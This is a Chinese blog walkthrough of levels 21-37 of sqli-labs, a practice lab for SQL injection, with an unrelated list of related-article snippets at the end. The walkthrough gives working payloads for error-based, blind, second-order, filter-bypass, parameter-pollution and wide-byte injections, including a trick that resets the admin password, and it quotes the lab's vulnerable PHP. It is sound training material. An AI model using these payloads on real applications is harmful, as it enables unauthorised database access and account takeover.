【Web安全靶场】sqli-labs-master 21-37 Advanced-Injection

sqli-labs-master 21-37 Advanced-Injection

第一关到第二十关请见专栏

文章目录

  • sqli-labs-master 21-37 Advanced-Injection
    • 第二十一关-Cookie注入
    • 第二十二关-Cookie注入
    • 第二十三关-注释符过滤的报错注入
    • 第二十四关-二次注入
    • 第二十五关-过滤OR、AND双写绕过
    • 第二十五a关-过滤OR、AND逻辑符号代替
    • 第二十六关-过滤一堆乱七八糟报错注入
    • 第二十六a关-过滤一堆乱七八糟盲注
    • 第二十七关-select、union过滤报错注入
    • 第二十七a关-select、union过滤盲注与联合注入
    • 第二十八关-select union过滤
    • 第二十八a关-select union过滤
    • 第二十九关-数字白名单WAF
    • 第三十关-数字白名单WAF
    • 第三十一关-数字白名单WAF
    • 第三十二关-宽字节注入
    • 第三十三关-宽字节注入
    • 第三十四关-Post宽字节注入
    • 第三十五关-引号绕过
    • 第三十六关-宽字节注入
    • 第三十七关-mysql_real_escape_string
  • 总结

第二十一关-Cookie注入

这一道题还是cookie注入,但是在抓包看到cookie的值时却不是原来的dhakkan,经过译码后发现它经过了base64编码,所以构造payload:

') or updatexml(1,concat(0x7e,database()),3) or ('
Jykgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMykgb3IgKCc=

在这里插入图片描述

在这里插入图片描述

第二十二关-Cookie注入

这一关和第二十一关一样,只是闭合方式不同而已,首先构造base64编码

" or updatexml(1,concat(0x7e,database()),3) or "
IiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwzKSBvciAi

在这里插入图片描述

在这里插入图片描述

第二十三关-注释符过滤的报错注入

首先这是get型,先确定闭合方式为单引号闭合

?id=1'
?id=1' and '1'='2

由第二段可知,网站没有对单引号进行过滤,在进行注释–+和#时候发现没有起到作用,查看源代码发现对注释符号进行了过滤:

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

所以我们使用两个and或者or构造闭合试一下,成功:

?id=1' and updatexml(1,concat(0x7e,database()),3) and '

在这里插入图片描述

第二十四关-二次注入

不懂可以点这个博文,有图好讲一点

  • 代码一:实现了简单的用户注册功能,程序获取到GET参数username和参数password,然后将username和password拼接到SQL语句,使用insert语句插入数据库中。由于参数username使用addslashes进行转义(转义了单引号,导致单引号无法闭合),参数password进行了MD5哈希,所以此处不存在SQL注入漏洞。正常插入test’之后,数据库就有了test’这个用户。

  • 当访问username=test’&password=123456时,执行的SQL语句为:

    insert into users(\`username\`,\`password\`)values ('test\'','e10adc3949ba59abbe56e057f20f883e')。
    
<?php
$con=mysqli_connect("localhost", "root", "root", "sql");

if (mysqli_connect_errno()) {
    echo "数据库连接错误: " . mysqli_connect_error();
}
$username = $_GET['username'];
$password = $_GET['password'];
$result = mysqli_query($con, "insert into users(`username`, `password`) values ('".addslashes($username)."','".md5($password)."')");
echo "新 id 为: " . mysqli_insert_id($con);
?>
  • 代码二:在二次注入中,第二段中的代码如下所示,首先将GET参数ID转成int类型(防止拼接到SQL语句时,存在SQL注入漏洞),然后到users表中获取ID对应的username,接着到person表中查询username对应的数据。但是此处没有对$username进行转义,在第一步中我们注册的用户名是test’,此时执行的SQL语句为:

    select * from person where `username`='test''
    

    单引号被带入SQL语句中,由于多了一个单引号,所以页面会报错。

回到24题发现有很多代码。

  • 分析login.php代码发现对于username和password使用了mysql_real_escape_string函数,这个函数会对单引号(')、双引号(")、反斜杠(\)、NULL 字符等加添反斜杠来进行转义,所以在登录界面框无法直接下手。
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
  • 接着分析创建新用户的代码,在new_user.php中有form表单提交到login_create.php中,所以重点还是login_create.php,发现还是存在转义:
$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
  • 那就登录进去看一下,登录进去是一个修改密码的框,其中不需要填写账号密码,看一下代码:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

可以发现漏洞存在于此处,这一道题不是获取数据库而是获取admin的密码,所以我们可以构造一个admin’#的账号,虽然在注册部分单引号会被转义但数据库中并不会存在这个反斜杠,注册账号admin’#密码随便,于是就可以登录进去,然后再修改密码,其中的sql语句为:

$sql = "UPDATE users SET PASSWORD='你想要的密码' where username='admin'#' and password='$curr_pass' ";

于是修改admin账号不需要原始密码。

第二十五关-过滤OR、AND双写绕过

分析第二十五关的代码可以发现or和and被过滤了:

$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)

但是只进行了一次替代,所以可以进行双写绕过:

?id=1' anandd sleep(10) --+
?id=1' anandd updatexml(1,concat(0x7e,database()),3) --+

在这里插入图片描述

第二十五a关-过滤OR、AND逻辑符号代替

这一道题对or和and进行了过滤,双写有效,但是这是数字型注入,试一下&&和||

?id=1\ 数字型
?id=-1 || sleep(3) 检测&&效果
?id=-1 || updatexml(1,0x7e,3) 无效,所以使用盲注
?id=-1 || if(database()='security',1,0)
?id=-1 || if(database()='security',1,0) 探针有效

在这里插入图片描述

在这里插入图片描述

但是我不知道为什么&&不行…

第二十六关-过滤一堆乱七八糟报错注入

第二十六关绕过的东西很多…

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

先判断闭合吧:

?id=1' 字符型注入

在这里插入图片描述

对于空格过滤使用(),注意点window的phpstudy有时不可以使用%0a这样的编码,而且information里面也有or

?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema=database()))) ,1) || '1'='1 括号绕过
?id=1'%0b||updatexml(1, concat(0x7e, (SELECT%0bgroup_concat(table_name)%0bFROM (infoorrmation_schema.tables) WHERE%0btable_schema=database())) ,1) || '1'='1 编码绕过,不知道为啥只可以使用%0b

在这里插入图片描述

在这里插入图片描述

/**/

() 例如:?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema=database()))) ,1) || '1'='1

//下面编码貌似在windows phpstudy环境下无效
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空

`(tap键上面的按钮)

+ 加号

第二十六a关-过滤一堆乱七八糟盲注

分析过滤的东西:

$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --
$id= preg_replace('/[#]/',"", $id);			//Strip out #
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes

在尝试上面第二十六关的报错注入时没有显示报错信息,并且查看代码发现**print_r(mysql_error());**部分被注释掉,所以不可以使用报错注入,尝试一下盲注:

?id=2'anandd'1'='1

通过上面语句回显1的信息可以判断这是单引号加上括号闭合。

?id=1')aandnd(length(database())=8)anandd('1

通过上述语句可以判定存在布尔盲注。

?id=1')aandnd(substr(database(),1,1)='s')anandd('1

第二十七关-select、union过滤报错注入

$id = preg_replace('/[\/\*]/', "", $id);		//strip out /*
$id = preg_replace('/[--]/', "", $id);		//Strip out --.
$id = preg_replace('/[#]/', "", $id);			//Strip out #.
$id = preg_replace('/[ +]/', "", $id);	    //Strip out spaces.
$id = preg_replace('/select/m', "", $id);	    //Strip out spaces.
$id = preg_replace('/[ +]/', "", $id);	    //Strip out spaces.
$id = preg_replace('/union/s', "", $id);	    //Strip out union
$id = preg_replace('/select/s', "", $id);	    //Strip out select
$id = preg_replace('/UNION/s', "", $id);	    //Strip out UNION
$id = preg_replace('/SELECT/s', "", $id);	    //Strip out SELECT
$id = preg_replace('/Union/s', "", $id);	    //Strip out Union
$id = preg_replace('/Select/s', "", $id);	    //Strip out select

这一关对select和union进行了处理,但是存在print_r(mysql_error());,所以可以使用报错注入:

?id=1'%0band%0bupdatexml(1,0x7e,3)%0band%0b'1'='1

在这里插入图片描述

第二十七a关-select、union过滤盲注与联合注入

这一关在第二十七关的基础上对**print_r(mysql_error());**进行了注释,所以我们使用盲注:

?id=1%0band%0b1=2 说明属于字符型

?id=1'%0band%0b'1'='2 回显1
?id=2'%0band%0b'1'='1 回显2
说明不是单引号 不是单引号加上括号

?id=1"%0band%0b"1"="2 不回显,得到双引号闭合

查看代码,确实是双引号

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

进行布尔盲注:

?id=1"%0band%0blength(database())=8%0band"1"="1
?id=1"%0band%0blength(database())=7%0band"1"="1

通过以上语句说明盲注存在,接下来试一下union注入。采取大小写过滤方式:

?id=0"%0bunioN%0bSeleCT%0b1,database(),3%0bor"1"="1

在这里插入图片描述

第二十八关-select union过滤

$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

同样这里也注释了print_r(mysql_error());

?id=2' and '1'='1

回显1的信息,可以得知这是单引号加上括号闭合,尝试一下拼凑

?id=999')%0bunion%0bseunion%0bselectlect%0b1,database(),3%0bor%0b('1'='1

双写绕过成功。

第二十八a关-select union过滤

?id=2'%0band%0b'1'='1

通过上述语句得到单引号加括号闭合,这一道题只对union和select进行过滤,以及没有报错信息,所以我们尝试盲注:

?id=1'%0band%0blength(database())=8%0band%0b'1'='1

通过改变长度查看回显,可知盲注有用,接着还是像28关一样通过拼凑进行注入union%0bseunion%0bselectlect

第二十九关-数字白名单WAF

先分析这个WAF:

$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

首先如果我们输入id=1时候它会正常显示,因为第二个函数截取了id的值然后传递给第一个函数,由于这是数字所以正常显示;如果输入的是id=a,经过第二个函数截取之后传递给第一个函数由于只能是数字所以会重定向至hacked.php;如果我们输入两个id值,即id=1&id=2,在第二个id处构造payload:

?id=0&id=1' and updatexml(1,concat(0x7e,database()),3) and '

在这里插入图片描述

第三十关-数字白名单WAF

function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);


	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

这一道题的WAF和上一道一样,首先判断闭合方式:

?id=1&id=1"

根据报错信息可以知道这是双引号闭合,而且存在报错注入:

?id=1&id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and "

在这里插入图片描述

第三十一关-数字白名单WAF

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

WAF还是一样,判断闭合方式:

?id=1&id=1"

根据报错信息知道是双引号加括号闭合,并且可能存在报错注入:

?id=1&id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and ("

在这里插入图片描述

第三十二关-宽字节注入

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}
function strToHex($string)
{
    $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";

对于第一段代码,单引号、双引号和反斜杠都加上了一个反斜杠,我们试一下输入中文:

在这里插入图片描述
输入中文发现回显的是中文为gbk编码,所以我们可以使用宽字节注入,原理就是%df和反斜杠可以组成一个中文字符

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

第三十三关-宽字节注入

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

addslashes()函数会在单引号、双引号、反斜杠和NULL字符前添加反斜杠,对于反斜杠的题目我们试一下中文,中文正常显示所以编码为gbk编码,尝试双字节注入(和上一题一样):

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

同样我们也可以通过char函数:

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=CHAR(115, 101, 99, 117, 114, 105, 116, 121))),3) -- #

在这里插入图片描述

同样也可以通过转化成URL编码:

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)),3) -- #

在这里插入图片描述

第三十四关-Post宽字节注入

这是一道Post的注入,在账号处添加单引号回显发现添加了反斜杠,通过查看源代码发现:

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

输入中文发现可以回显中文,查看源代码也是使用了gbk编码,所以使用宽字节注入:

uname=1&passwd=1%df' and updatexml(1,concat(0x7e,database()),3) #&Submit=Submit

第三十五关-引号绕过

?id=2-1

通过上述语句可以初步判断这是数字型注入,同样利用引号绕过,但是引号仅在限定条件下使用,我们可以换成十六进制、char等,注意的是不要使用宽字节,因为会将中文带入sql语句中。

?id=2 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database())),3)

在这里插入图片描述

?id=2 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=CHAR(117,115,101,114,115) and table_schema=database())),3)

在这里插入图片描述

第三十六关-宽字节注入

?id=1%df'

并尝试输入引号和反斜杠会发现又添加了个反斜杠,输入中文发现有中文回显,使用%df与引号,回显报错信息,得出是单引号闭合,尝试宽字节+报错注入

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=CHAR(117,115,101,114,115))),3) --+

在这里插入图片描述

第三十七关-mysql_real_escape_string

$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);

这一关使用mysql_real_escape_string(),编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。输入中文,回显中文,所以我们尝试一下宽字节注入:

uname=1&passwd=1%df' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) #&Submit=Submit

注:第三十四和三十七关我使用harkbar不行,用bp就可以

在这里插入图片描述

总结

  • and和or黑名单,能使用||就使用||
  • 二次注入中那个反斜杠不会到数据库中
  • ?id=2’ and ‘1’='1可以用来判断有没有括号,回显1就有,回显2的信息就没有

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/415007.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【SpringCloudAlibaba系列--OpenFeign组件】OpenFeign的配置、使用与测试以及OpenFeign的负载均衡

步骤一 准备两个服务&#xff0c;provider和consumer 本文使用kotlin语言 provider是服务的提供者&#xff0c;由provider连接数据库 RestController RequiredArgsConstructor RequestMapping("/provider/depart") class DepartController(private val departServ…

常用对象的遍历方法

var obj [{name: 1111,account: {01: { name: 1.1 },02: { name: 1.2 },03: { name: 1.3 },04: { name: 1.4 },05: { name: 1.5 },}} ]var nowObj obj[0].account;1、for…in 任意顺序遍历对象所有的可枚举属性&#xff08;包括对象自身的和继承的可枚举属性&#xff0c;不含…

flutter 封装webview和使用本地网页

最先看到flutter_webview_plugin 用法特别简单 flutter_webview_plugin | Flutter PackagePlugin that allow Flutter to communicate with a native Webview.https://pub-web.flutter-io.cn/packages/flutter_webview_plugin缺点&#xff1a; 没有实现js sdk的功能 没有办法 …

力扣简单递归:左叶子之和

思路&#xff1a;重点在于每层都记录val的值以减少递归调用次数 /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/int sumOfLeftLeaves(struct TreeNode* root){ if(rootNULL) {re…

Mycat核心教程--ZooKeeper集群搭建【三】

Mycat核心教程--ZooKeeper集群搭建 八、 ZooKeeper集群搭建8.1.ZooKeeper简介8.2.数据复制的好处8.3.Zookeeper设计目的8.4.zookeeper集群包括3种角色8.4.1.Leader角色8.4.2.Follower 角色8.4.3.Observer 角色 8.5.zookeeper集群工作流程8.6.zookeeper集群节点数量为奇数&#…

高性能Server的基石:reactor反应堆模式

业务开发同学只关心业务处理流程。但是我们开发的程序都是运行服务端server上&#xff0c;服务端server接收到IO请求后&#xff0c;是如何处理请求并最终进入业务流程的呢&#xff1f;这里不得不提到reactor反应堆模型。reactor反应堆模型来源于大师Doug Lea在 《Sacalable io …

图形判断类型

笔画数 笔画数这一考点。在国考、省考以及事业单位、三支一扶等各种公务员考试当中&#xff0c;都作为一个重要考点的存在。但很多同学仍然对于这部分知识点不清晰&#xff0c;比如不知道如何数奇点&#xff0c;数不清奇点&#xff0c;或无法快速识别这类题型&#xff0c;以致…

抖音橱窗怎么关闭?

路径&#xff1a;【抖音APP-我-电商带货-全部工具-账号管理-权限与账户-关闭电商权限】关闭橱窗带货权限。 0保、原0粉达人关闭电商权限后&#xff0c;后续均需要满足页面提示要求才可以进行电商权限的开通&#xff0c;建议慎重操作。

从新手到专家:AutoCAD 完全指南

&#x1f482; 个人网站:【 海拥】【神级代码资源网站】【办公神器】&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交流的小伙伴&#xff0c;请点击【全栈技术交流群】 引言 AutoCAD是一款广泛用于工程设计和绘图的…

终于支持中文,开源手绘风格画板工具 Revezone 推荐!

Excalidraw 是一款老牌的手绘风格画板工具&#xff0c;颜值高&#xff0c;操作简单&#xff0c;GitHub 上拥有 69k 的 Star &#x1f449; https://excalidraw.com/ 可惜的是&#xff0c;Excalidraw 只有网页版&#xff0c;也不支持中文字体&#xff1a; 最近发现了国内开发者…

【k8s 高级调度--污点和容忍】

1、调度概念 在 Kubernetes 中&#xff0c;调度&#xff08;scheduling&#xff09;指的是确保 Pod 匹配到合适的节点&#xff0c; 以便 kubelet 能够运行它们。 抢占&#xff08;Preemption&#xff09;指的是终止低优先级的 Pod 以便高优先级的 Pod 可以调度运行的过程。 驱逐…

Time Travel

题目链接 解题思路 由于所有边集中的边加起来的总和至多为&#xff0c;无向图即&#xff0c;可以存下所以直接对所有边集中的边进行建边&#xff0c;同时对于每条边&#xff0c;记录其所在边集号对于每个边集&#xff0c;由大到小维护其能通过的时间点然后从1号跑最短路到当前…

笔记整理(安全)

第八天 内容安全 攻击可能是一个点&#xff0c;但是防御需要全方面进行 IAE 引擎 DFI和DPI技术 深度检测技术 DPI 深度包检测技术 主要针对完整的数据包&#xff08;数据包分片&#xff0c;分段需要重组&#xff09;&#xff0c;之后对数据包的内容进行识别&#xff08;应用…

python学习笔记-内置异常

概述 Python 中的异常&#xff08;Exception&#xff09;是指在程序执行过程中遇到的错误或异常情况。当程序出现异常时&#xff0c;解释器会停止当前代码的执行&#xff0c;并试图找到匹配的异常处理器来处理异常。如果没有找到合适的异常处理器&#xff0c;程序就会终止并打…

anaconda指定目录创建环境无效/环境无法创建到指定位置

已经设置目录到D盘 创建环境时还是分配到C盘 可能是指定位置没有开启读写权限&#xff0c;如我在这里安装到了anaconda文件夹&#xff0c;则打开该文件夹的属性->安全->编辑 allusers下的权限全都打勾

笔记:GO1.19 带来的优化(重新编译juicefs)

## 背景 go编写的应用程序&#xff08;juicefs&#xff09;在k8s&#xff08;docker&#xff09;中运行&#xff0c;时不时出现 OOM Killed。 ## 分析 发现某些应用使用juicefs会导致内存使用飙升&#xff1b; k8s的pod给的内存资源&#xff1a;request 2G&#xff0c;limit…

雾锁王国服务器要开服务器吗?

雾锁王国要开服务器吗&#xff1f;可以使用官方服务器&#xff0c;也可以自己搭建多人联机服务器&#xff0c;更稳定不卡&#xff0c;畅玩开黑。阿腾云分享atengyun.com给大家目前阿里云和腾讯云均提供雾锁王国服务器和一键搭建程序&#xff0c;成本26元即可搭建一台自己的雾锁…

回归预测 | Matlab实现OOA-HKELM鱼鹰算法优化混合核极限学习机多变量回归预测

回归预测 | Matlab实现OOA-HKELM鱼鹰算法优化混合核极限学习机多变量回归预测 目录 回归预测 | Matlab实现OOA-HKELM鱼鹰算法优化混合核极限学习机多变量回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现OOA-HKELM鱼鹰算法优化混合核极限学习机多变量…

LeetCode 2673.使二叉树所有路径值相等的最小代价:自顶向下的DFS 或 自底向上的递推

【LetMeFly】2673.使二叉树所有路径值相等的最小代价&#xff1a;自顶向下的DFS 或 自底向上的递推 力扣题目链接&#xff1a;https://leetcode.cn/problems/make-costs-of-paths-equal-in-a-binary-tree/ 给你一个整数 n 表示一棵 满二叉树 里面节点的数目&#xff0c;节点编…

【查漏补缺你的Vue基础】Vue数据监听深度解析

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…
最新文章